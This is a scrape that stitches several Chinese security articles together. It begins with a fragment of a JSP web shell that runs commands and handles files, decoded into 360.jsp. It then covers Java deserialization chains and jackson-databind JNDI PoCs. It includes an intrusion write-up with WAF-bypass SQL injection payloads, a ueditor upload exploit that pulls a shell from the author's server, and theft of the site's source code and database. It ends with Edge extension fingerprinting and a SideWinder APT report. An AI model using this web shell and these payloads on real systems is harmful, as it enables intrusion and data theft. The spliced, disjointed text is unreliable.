  <jsp:scriptlet>cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("-&gt;"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw2=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw2.write(z2);bw2.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"&lt;-");out.print(sb.toString());</jsp:scriptlet>
</jsp:root>
 |base64 -d > 360.jsp
截图如下： | 社区文章 |
# 前尘——与君再忆CC链
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
每次提到Java反序列化,我始终都能在脑海中浮现commons-collections,这一个能助开发从业者轻松开发的依赖,使人爱也萧何恨也萧何。今日与君再忆，望与君温故而知新。
## 序列化
### 定义
**序列化:** Java
提供了一种对象序列化的机制，该机制中，一个对象可以被表示为一个字节序列，该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型.
**反序列化:**
将序列化对象写入文件之后，可以从文件中读取出来，并且对它进行反序列化，也就是说，对象的类型信息、对象的数据，还有对象中的数据类型可以用来在内存中新建对象。
整个过程都是 Java 虚拟机（JVM）独立的，也就是说，在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。
**可以简单的说,序列化就是将内存中的数据持久化到硬盘中的过程.反序列化就是将硬盘中的数据恢复到内存中的过程。**
### 提供序列化的API
说到序列化需要提到两个高层次的数据流
输出流:ObjectOutputStream
输入流:ObjectInputStream
其中ObjectOutputStream流提供的writeObject()序列化一个对象，并将它发送到输出流。
`public final void writeObject(Object x) throws IOException`
其中ObjectInputStream流提供的readObject()从流中取出下一个对象，并将对象反序列化。它的返回值为Object，因此，你需要将它转换成合适的数据类型。
`public final Object readObject() throws IOException, ClassNotFoundException`
### 序列化的应用场景
举例:tomcat服务器会在服务器关闭时把session序列化存储到tomcat目录一个名为session.ser的文件中，这个过程成为session的钝化，因为有些时候当我们要重新部署项目的时候，有的用户可能在访问，这样做的目的是服务器重启之后tomcat可以反序列化这个session.ser文件，将session对象重新生成出来，用户可以使用部署之前的session进行操作，这个反序列化的过程成为session的活化。
1.一切存储
2.一切传输
3.一切交互接口
### 代码进行序列化
为了演示序列化在Java中是怎样工作的，我将使用之前教程中提到的Employee类，假设我们定义了如下的Employee类，该类实现了Serializable
接口。
请注意，一个类的对象要想序列化成功，必须满足两个条件：
**1.该类必须实现 java.io.Serializable 接口。**
**2.该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的，则该属性必须注明是短暂的。**
**序列化的实现**
**反序列化的实现**
## 反射
### 定义
反射就是在JAVA的运行状态的时候，可以对任何一个类进行操作，这是一个可以动态的获取信息和动态的使用某个方法的能力我们就叫他反射，看下名字就知道这项功能有多屌。
### 反射实现
先看在java中执行系统命令的方法
通过反射实现java中执行系统命令的方法
## commons-collections-3.1反序列化漏洞
### 导入POM依赖
### 分析
这是网上利用cc链的payload
分析InvokerTransformer类,寻找恶意代码被执行的关键
上述方法创建了一个执行链条,通过反射的方法获取到Runtime类执行恶意代码
`Transformer transformerChain = new ChainedTransformer(transformers);`
此代码可以理解为上述的执行链条被放入到一个对象中.此对象暂且命名为transformerChain
`Map innerMap = new HashMap();
innerMap.put("value", "value");`
使用多态创建一个HashMap,并向其中塞入一个键值.
`Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);`
注意此行代码,着重分析下TransformedMap类中decorate方法作用:将上文塞入一个键值对的暂且命名为innerMap的Map，和上文将一套执行链塞入暂且命名为transformerChain的对象作为参数传入。并返回一个暂且名为outerMap的具有执行链对象的Map对象.此函数将原始map绑定具有执行链的对象,返回一个map。如果返回的map中的键值发生变化时将会调用执行链.造成了恶意代码执行。
`Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("雁不过衡阳");`
注意此行代码,使用迭代器对上文中具有执行链对象的Map对象进行遍历，并获取第一个键值对,然后对其值进行修改.当修改此键时就触发执行链。
跟进setValue()方法查看调用执行链的根本原因
进入checkValue()方法发现本质上还是调用了valueTransformer也就是执行链
`protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}`
进入checkSetValue()发现调用执行链，遂改变map值可以触发代码执行.
但是这么做有一个缺点,就是在应用中,反序列化时需要一个对象,但是这些操作无法被打包成对象进行，所以还需要一个寄生对象,这个对象需要满足
他的反序列化方法readObject()需要对一个map进行操作,从而可以调用执行链。
### 找到一个载体
在java中，自带的类中还有一个类叫做AnnotationInvocationHandler
该类中重写的readObject方法在被调用时会将其中的map，转成Map.Entry，并执行setValue操作，那么能把TransformedMap装入这个AnnotationInvocationHandler类，再传过去，就可以不用考虑之后代码是否执行setValue就可以直接利用漏洞了
分析这个载体
`Class cl =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");`
`Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);`
`ctor.setAccessible(true);`
`Object instance = ctor.newInstance(Target.class, transformedMap);`
注意此段代码,使用反射将sun.reflect.annotation.AnnotationInvocationHandler类反射出来,在将此类中的构造函数反射出来方便后期new对象，解除安全模式，采用暴力反射所以设置为true.然后调用newInstance获取此对象,将上文获得的带有执行链的map作为有参构造传入.
进入AnnotationInvocationHandler代码查看触发原因
在有参构造创建对象需要将类class和一个map对象传入,map对象又赋值给了全局变量memberValues
全局变量memberValues赋值给了var4,var4给了var5，最后var5调用setValue()重新对map进行修改.回归当初,在我们new这个对象时memberValues就是带有执行链的map，所以值被修改所以执行链触发导致代码执行。
为什么jdk1.8这个载体不行
在1.8中这个类的readObject()方法重新赋值变为
`var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" +
var11 + "]")).setMember((Method)var5.members().get(var10));`
不再对map进行遍历修改值，所以无法触发执行链。
### 使用rmi服务模拟攻击与被攻击端深入体会攻击原理
搭建rmi服务(服务端)
创建User接口继承Remote服务
创建实现类实现User接口，实现test方法
监听9090端口开启rmi服务
搭建请求端(攻击端)
请求服务端的rmi服务地址，将利用封装至找到的载体当中，将载体对象发送至rmi的test()方法
运行服务端
运行客户端
整个过程模拟攻击端和服务端,服务端开启rmi服务，攻击端将带有恶意代码的载体发送至服务端,服务端再对载体进行反序列化时修改了map中的值触发了恶意代码的执行.
## 总结
Java反序列化一直是一个 老生常谈的问题,理解这些原理性的知识可以更好的帮助我们找到执行链,你我终有一天也会发现理解事物的本质是如此重要。 | 社区文章 |
## 文章前言
本篇文章主要介绍几个关于Jackson-databind的CVE漏洞，并对此进行简易分析~
## CVE-2020-14060
### 影响范围
* jackson-databind before 2.9.10.4
* jackson-databind before 2.8.11.6
* jackson-databind before 2.7.9.7
### 利用条件
* 开启enableDefaultTyping()
* 使用了org.apache.drill.exec:drill-jdbc-all第三方依赖
### 漏洞复现
pom.xml
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<dependency>
<groupId>org.apache.drill.exec</groupId>
<artifactId>drill-jdbc-all</artifactId>
<version>1.4.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
<!-- https://mvnrepository.com/artifact/org.aoju/bus-core -->
PS：这里的漏洞所使用的库包需要在1.4版本才可以，之后没有该漏洞类，而目前最新的已经是1.17.0了，所以总体来说较为鸡肋~
POC:
package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"oadd.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]";
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}
之后运行该程序，成功执行命令，弹出计算器：
### 漏洞分析
首先定位到oadd.org.apache.xalan.lib.sql.JNDIConnectionPool类，之后发现一处可疑的JNDI注入：
参数为jndiPath，该参数在当前类中有对应的set操作，在反序列化时会调用setJndiPath进行一次赋值操作，故可控：
然而我们的findDatasource并不会被调用，之后全局搜索findDatasource函数，发现存在两处，一处是testConnect()，这对我们来说无用，另外一处是getConnection(),该函数在序列化时会被调用：
在反序列化操作时，我们可以将jndipath指向恶意LDAP服务，之后当序列化操作时getConnection会被调用，由此导致findDatasource被调用，最后导致JNDI注入，整个利用链如下所示：
mapper.readValue
->setJndiPath
->getConnection
->findDatasource
->context.lookup(this.jndiPath);
### 补丁分析
官方在github的更新方式依旧是添加oadd.org.apache.xalan.lib.sql.JNDIConnectionPool为黑名单类，但这种方式治标不治本，后续可能出现其他绕过黑名：
<https://github.com/FasterXML/jackson-databind/commit/d1c67a0396e84c08d0558fbb843b5bd1f26e1921>
### 修复建议
* 及时将jackson-databind升级到安全版本
* 升级到较高版本的JDK
## CVE-2020-14062
### 影响范围
* jackson-databind before 2.9.10.4
* jackson-databind before 2.8.11.6
* jackson-databind before 2.7.9.7
### 利用条件
* 开启enableDefaultTyping()
* 使用了com.sun.xml.parsers:jaxp-ri第三方依赖
### 漏洞复现
pom.xml文件：
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<dependency>
<groupId>com.sun.xml.parsers</groupId>
<artifactId>jaxp-ri</artifactId>
<version>1.4</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
POC:
package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]";
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}
之后运行该程序，成功执行命令，弹出计算器：
### 漏洞分析
首先定位到com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool类，之后发现一处可疑的JNDI注入：
参数为jndiPath，该参数在当前类中有对应的set操作，在反序列化时会调用setJndiPath进行一次赋值操作，故可控：
然而我们的findDatasource并不会被调用，之后全局搜索findDatasource函数，发现存在两处，一处是testConnect()，这对我们来说无用，另外一处是getConnection(),该函数在序列化时会被调用：
在反序列化操作时，我们可以将jndipath指向恶意LDAP服务，之后再次进行序列化操作时getConnection会被调用(多少有些鸡肋，需要先反序列化，灾后再序列化一次)，由此导致findDatasource被调用，最后导致JNDI注入，整个利用链如下所示：
mapper.readValue
->setJndiPath
->getConnection
->findDatasource
->context.lookup(this.jndiPath);
### 补丁分析
官方在github的更新方式依旧是添加oadd.org.apache.xalan.lib.sql.JNDIConnectionPool为黑名单类，但这种方式治标不治本，后续可能出现其他绕过黑名：
<https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java#L119>
### 修复建议
* 及时将jackson-databind升级到安全版本
* 升级到较高版本的JDK
## CVE-2020-14195
### 影响范围
* jackson-databind before 2.9.10.4
* jackson-databind before 2.8.11.6
* jackson-databind before 2.7.9.7
### 利用条件
* 开启enableDefaultTyping()
* 使用了org.jsecurity.realm.jndi.JndiRealmFactory第三方依赖
### 漏洞复现
pom.xml如下：
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.jsecurity/jsecurity -->
<dependency>
<groupId>org.jsecurity</groupId>
<artifactId>jsecurity</artifactId>
<version>0.9.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
漏洞POC:
package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\",{\"jndiNames\":\"ldap://127.0.0.1:1099/Exploit\"}]";
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}
之后运行该程序，成功执行命令，弹出计算器：
### 漏洞分析
首先定位到org.jsecurity.realm.jndi.JndiRealmFactory类，之后发现一处可疑的JNDI注入：
参数name来自i$，而i$源自jndiNames，此时要想进入lookup需要满足前面的if条件语句，即jndiNames不为空，且不为null，所以我们可以在构造poc时直接对jndiName进行传参赋值操作即可，同时将其设置为我们的ldap恶意服务：
整个利用链如下所示：
mapper.readValue
->setJndiNames
->getRealms
->lookup
### 补丁分析
官方在github的更新方式依旧是添加org.jsecurity.realm.jndi.JndiRealmFactory为黑名单类，但这种方式治标不治本，后续可能出现其他绕过黑名：
<https://github.com/FasterXML/jackson-databind/commit/f6d9c664f6d481703138319f6a0f1fdbddb3a259>
### 修复建议
* 及时将jackson-databind升级到安全版本
* 升级到较高版本的JDK | 社区文章 |
# 一、前言
如题，由于是在已知有一处sql注入的情况下才接手进行的后续操作，因此前面信息搜集则一笔带过。
# 二、信息搜集
目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。
# 三、Bypass Sql
## 3.1 Fuzz
空格 error
加号 未拦截
等号 error
单引号 error
双引号 未拦截
双括号 未拦截
+select error
%0bselect 未拦截
%0bselect%0buser%0bfrom 未拦截
%0bselect%0buser%0bfrom%0badmin 拦截
convert() 未拦截
根据如上测试可以看出程序本身也有过滤，error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号，例如空格使用%0b
加号使用%2b等。再根据测试的结果，可以先利用convert转换报错获取一部分信息。
goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips：可以通过遍历db_name(1)中的数字获取其他库名
得到以下信息：
ASP.NET 版本：Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本：Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名：sa
计算机名：10_*_76_*\SQLEXPRESS 10.*.76.*
当前库：pan20170823
所有库名：
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB
再往下就是获取表的信息
goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数
由于我只会简单的select from因此始终无法获取表名，如果有其他姿势还望给科普下。
## 3.2 万金油
此时陷入僵局，后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立，遂构造之。
goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
PS:由于注入点已经使用了convert做了数据转换，后续直接防入查询即可
获取到第一个表名：jsrecord
由于还是没能绕过单引号和等号，我始终用不了not in与for xml
path来爆后续的表名，这又触及到了我知识盲区，因此只好查阅大量文章案例，最终构造出如下语句。
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
此时只需要遍历top的数值即可，例如：
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
通过不断的遍历数值发现还是存在问题，举个例子，即
1-20、200-209，334-345返回同一个表名，存在大量重复与无序的情况，但可以通过burp中intruder->Grep-Extact功能来解决，操作如下：
首先设置好intruder对001-600进行遍历（超过600多后就没什么内容了）
然后使用Grep-Extact提取表名。
保存结果后去重即可。
和前面获取到的表总个数是一致的。
解下来就是获取memberadmin表中的列名与内容，但在此之前我还是习惯性的看了下后台的网页源代码。
如图，盲猜列名txt_nickname、nickname、txt_password、password
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/
# 三、后台getshell
登陆后台
经测试后发现信息管理处可以发布咨询，上传图片。通过修改去掉filename="1.aspx"中的双引号绕过安全狗，但无法绕过程序自身的检测。
Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx
不过得知上传组件为ueditor，且.net版本存在上传漏洞
poc如下
<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
并在自己的服务器上准备好shell（注意过狗），名称为a.gif,然后填入shell地址
https://o0o0.club/a.gif?.aspx
提交后即可得到shell路径
# 四、打包源码与数据库
在有了shell之后要做的事情就更明确了，即是打包源码与数据库，由于只需要这两样操作，相对于不需要太大的权限，避免操作不当触发警告。因此我选择先通过shell来进行打包操作。
## 源码
这里利用的是自行上传的rar.exe来分卷打包源码，在此之前尝试过7z.exe（目标服务器上已安装）、makecab 但效果并不理想，姿势不够还望科普。
rar.exe a -r -v50m -m5 pan20170823 *.*
#a 压缩
#-r 打包子目录
#-v 分卷大小
#-m 压缩等级
#pan20170823目标目录
#*.* 打包后文件名为 pan20170823.part*.rar
最终以每秒100k的速度下载完成。
## 数据库
略过，后台自带备份功能
坑点：后台的备份文件后缀为zip，下载回来总是提示文件损坏，一直以为备份功能有问题，后来发现文件头是TAPE。。。。
# 五、本地搭建
本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0
## SQL Server
安装过程略过
导入数据
新建数据库，然后通过原设备还原数据
还原成功
## IIS与ASP.NET
安装一笔带过，左边拉满就行，简单粗暴
添加站点
最好对应目标版本
修改源码中的配置文件
访问 | 社区文章 |
原文：[brokenbrowser](https://www.brokenbrowser.com/microsoft-edge-detecting-installed-extensions/)
原作者：[Manuel Caballero](https://twitter.com/magicmac2000)
译： **Holic (知道创宇404安全实验室)**
攻击者喜欢收集受害者的指纹特征。我们之前已经见识了两种技术，坏人可以通过检测特定文件（来逃避分析人员），甚至可以获取特定关联应用的名称。Microsoft
修补了诸如此类的特性，而今天我们会看到如何在 Edge 上检测安装的浏览器扩展程序。
另外，如此精彩的研究和 PoC 来自于 [Inria Privatics](https://twitter.com/PrivaticsInria),
[Gábor Gulyás](https://twitter.com/GulyasGG) 和 [Nataliia
Bielova](https://twitter.com/nataliabielova)。
### 安装扩展程序
我在扩展应用商店随意选了 AdGuard 广告屏蔽插件。两次点击之后，它已经安装并自动打开感谢页面，而且在开始研究之前给了我灵感。下面一探究竟。
这一切从 URL 开始。如果我们可以在 iframe 中加载之，并检测其存在
(onload/onreadystatechange/不胜枚举)，即区分出它与默认的 Edge 404 页面， 我们基本就完成任务了。但很不幸，iframe
拒绝加载 _ms-browser-extension:_ 协议。
<iframe src="ms-browser-extension://EdgeExtension_AdguardAdguardAdBlocker_m055xr0c82818/pages/thankyou.html"></iframe>
OK。那么用 window.open 又如何？至少可以用脚本打开这些 URL 吧？试一下便知！
win = window.open("ms-browser-extension://EdgeExtension_AdguardAdguardAdBlocker_m055xr0c82818/pages/thankyou.html");
// returns null when the URL is ms-browser-extension: (not useful for us)
打开了！但是对我们并不重要，因为不管安没安装插件， window.open() 返回的都是 null 而不是 window
对象。换而言之，我们试图使用扩展程序协议 _ms-browser-extension_ 打开新窗口时：它总是返回 null
的。所以即使能打开新窗口（这是个很丑的解决方案），我们也不能检验内容是否得以加载。
来自扩展程序的图片呢？或许图像暴露在主页的时候，使用 onload/onerror
事件，我们可以检测到扩展程序是否安装。我们先看看扩展文件在我们文件系统中的位置。
### 查找扩展程序相关文件
启动 Process Monitor，过滤 MicrosoftEdgeCP.exe。关闭 Edge，并通过复制到地址栏的方法打开 AdGuard
感谢页面，Bang！我们马上就能在 Process Monitor
中看到文件所在的位置。记住，我们的目标是从这个扩展程序中找出一个图像，看看能否加载它，并通过 onload/onerror 检测其存在。
看来扩展程序文件在这里：
C:\Program Files\WindowsApps\Adguard.AdguardAdBlocker_2.5.18.0_neutral__m055xr0c82818\Extension\Pages
转到上层（父）文件夹，我们可以看到，就像 Chrome 和 Firefox，其中有个 manifest.json，允许某些资源被任何网站加载。
"web_accessible_resources": [
"elemhidehit.png",
"lib/content-script/assistant/css/assistant.css",
"lib/content-script/assistant/i/close.svg",
"lib/content-script/assistant/i/logo.svg", // Let's use this one!
"lib/content-script/assistant/i/logo-white.svg"
]
其中大多是图像，我们用脚本试着加载 **logo.svg** 。如果 onload 得以触发，说明扩展程序已安装，否则说明用户没有该扩展名。
var img = new Image();
img.onload = function(){alert("Extension Detected")}
img.onerror = function(){alert("Extension NOT Detected")}
img.src = "ms-browser-extension://EdgeExtension_AdguardAdguardAdBlocker_m055xr0c82818/lib/content-script/assistant/i/logo.svg";
而我并不为之所动。我们基本上没有用到什么新的东西，就像其他检测方法一样（对应
Chrome/FF），我们依赖于特定扩展程序的配合，使资源得以加载。如果一个扩展程序在 manifest 中没有 **web 可访问资源**
的话，我们如何检测呢？
### 插件检测的通用方法
在各种技巧玩了几分钟，试着加载不可访问的资源后，我决定厂商用类似于 [Soroush 的 IE
DTD](https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/) 技巧。试着使用
Microsoft XMLDOM 对象加载资源，并根据错误号就能知道文件是否存在。在 Edge 上没有 XMLDOM 对象，但是我们可以做一些就像常规
XMLHTTPRequest 做的事情。
如果尝试打开资源而且扩展程序存在的话，它会抛出拒绝访问的错误，否则是文件找不到的错误。实际上，为了纪念 Soroush
的神奇发现，我们尽量做的和他一样优雅，并使用接受到的错误号进行判断。一段代码值千言，请看下面：
var extension = "ms-browser-extension://EdgeExtension_AdguardAdguardAdBlocker_m055xr0c82818";
try
{
var xhr = new XMLHttpRequest();
xhr.open("GET", extension, false);
xhr.send(null);
}
catch(e)
{
if (e.number == -2147024891) alert("Exists");
else alert("Does not exist");
}
现在看起来不错了，感谢 [Soroush](https://twitter.com/irsdl) 的精彩思路！
另外，你有没有注意到我们使用的URL甚至没有指向特定资源？这个 xml技巧与目录名有关，甚至不需要指向扩展程序的特定资源，所以现在有插件的 ID
就足以进行检测了。如果要构建一个通用探针来查找已经安装的扩展程序，就像我们在 Chrome 和 Firefox
中见过的[这种](https://extensions.inrialpes.fr/)，首先要再 Edge 上安装所以的扩展程序，并记下所有的
ID。这颇为简单，只需要安装扩展程序，加载空白页，按下 F12，就足以展现插件的 ID。我已经安装的其中的几个，在下方清晰可见。
有了这些名称，现在可以为 Microsoft Edge
创建一个通用扩展检测器了。只有已禁用的扩展程序才不会在开发人员工具中加载，不过我们仍可以在注册表中找到它们。
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Extensions
有一点值得注意， **即使用户已经禁用扩展程序** ，我们的检测方法依然有效。以下便是用上述方法检测20个扩展的PoC。
**[[ PoC – Edge Detect Installed Extensions
]](https://www.cracking.com.ar/demos/edgeinstalledextensions/)**
Have a nice day! ?
* * * | 社区文章 |
**作者：深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/Kkta59k7r81uIBjJvE9pCw>**
## 1.概述
"SideWinder(响尾蛇)"APT组织被认为是一个活跃于南亚地区的APT攻击组织，该组织的主要攻击目标是军事，国防等行业。针对的国家包括巴基斯坦，阿富汗，中国，孟加拉，尼泊尔等国家。该组织最早在卡巴斯基在2018年的第一季度报告中被提及，卡巴斯基声称该组织从2012年就开始活跃，但是关于该组织的技术细节没有公开。值得一提的是，卡巴斯基此后再也没有涉及该组织的相关报告。一些安全厂商根据卡巴斯基的季度报告提到的内容将一些类似的攻击归因于"SideWinder(响尾蛇)"APT组织。
从2019年开始，多家安全厂商发布了多篇关于"SideWinder(响尾蛇)"APT组织的报告。这些报告中提到的攻击行为都有明显的相似之处，使用的恶意软件特征都是相同的。"SideWinder(响尾蛇)"APT组织的攻击一直到现在都是活跃的，它的攻击工具也是不断的改进。我们在分析一些列的针对印度的攻击时，发现了和"SideWinder(响尾蛇)"APT组织的技术有相同之处。我们对“"SideWinder(响尾蛇)"APT组织做了深入的分析，于是就有了这篇文章。
## 2."SideWinder(响尾蛇)"APT组织相关报告
* 2018年4月，卡巴斯基发布了一篇名为“[APT Trends report Q1 2018](https://securelist.com/apt-trends-report-q1-2018/85280/)“的季度报告。在报告中提到了一个名为“Sidewinder”的APT组织，该组织主要针对的目标是巴基斯坦的军事部门，从2012年就开始活跃。该组织使用了自己独有的知名漏洞的利用方法(例如CVE-2017-11882），在漏洞利用执行成功后释放一个powershell的payload。卡巴斯基声称拥有较少的证据证明这些恶意软件属于一个印度的公司。卡巴斯基没有披露该组织的详细细节。
* 2018年5月23日，腾讯御见威胁情报中心发布了一篇名为“[SideWinder“响尾蛇"：针对南亚的定向攻击威胁](https://s.tencent.com/research/report/479.html)"的报告。这篇报告描述“Sidewinder”的APT组织攻击的细节：（1）使用CVE-2017-11882漏洞，（2）下载Final.hta文件并执行powershell命令。（3）释放RAT文件并执行。
* 2019年2月15日，巴基斯坦政府发布了一篇名为：[Advisory - Prevention Against Cyber Espionage (Advisory No.3)](https://cabinet.gov.pk/SiteImage/Misc/files/NTISB Advisories/2019/3-Advisory-No-3-Feb-2019.pdf)的公告。在公告里提到新发现一个恶意软件，该恶意软件主要是通过邮件传播。邮件中包含看起来正常的新闻内容同时包含了一个可以下载一个ZIP文件的链接。ZIP文件中包含一个LNK文件，点击运行后会下载HTA文件，然后释放credwiz.exe，duser.dll，bd.hta文件。公告中并没有提及该恶意软件的名字以及攻击者。
* 2019年2月20日，巴基斯坦政府发布了一篇名为“[Advisory - Prevention Against Cyber Espionage (Advisory No.4)](https://cabinet.gov.pk/SiteImage/Misc/files/NTISB Advisories/2019/4-Advisory-No-4-2019.pdf)"的公告。该公告中提到恶意软件和2月15日的公告中的攻击手法一样，C2有变化。
* 2019年02月26日，腾讯御见威胁情报中心发布报告：“[响尾蛇（SideWinder）APT 组织针对南亚的攻击活动披露](https://s.tencent.com/research/report/659.html)”。这个报告中提到的恶意软件和巴基斯坦政府的公告中的一样。
* 2019年03月1日，巴基斯坦政府部门发布公告[Advisory - Prevention against Cyber Espionage (Advisory No. 8)](https://cabinet.gov.pk/SiteImage/Misc/files/NTISB Advisories/2019/8-Advisory-No-8-2019 .pdf)。在该公告中提到了一个利用CVE-2017-11882漏洞的攻击，后续的流程和腾讯提到的“Sidewinder”的APT组织一样。
* 2019年05月08日，安天发布一篇名为“[响尾蛇APT组织针对巴基斯坦的定向攻击事件分析](https://www.antiy.com/response/20190508.html)”。在报告中安天详细的披露了攻击的细节。
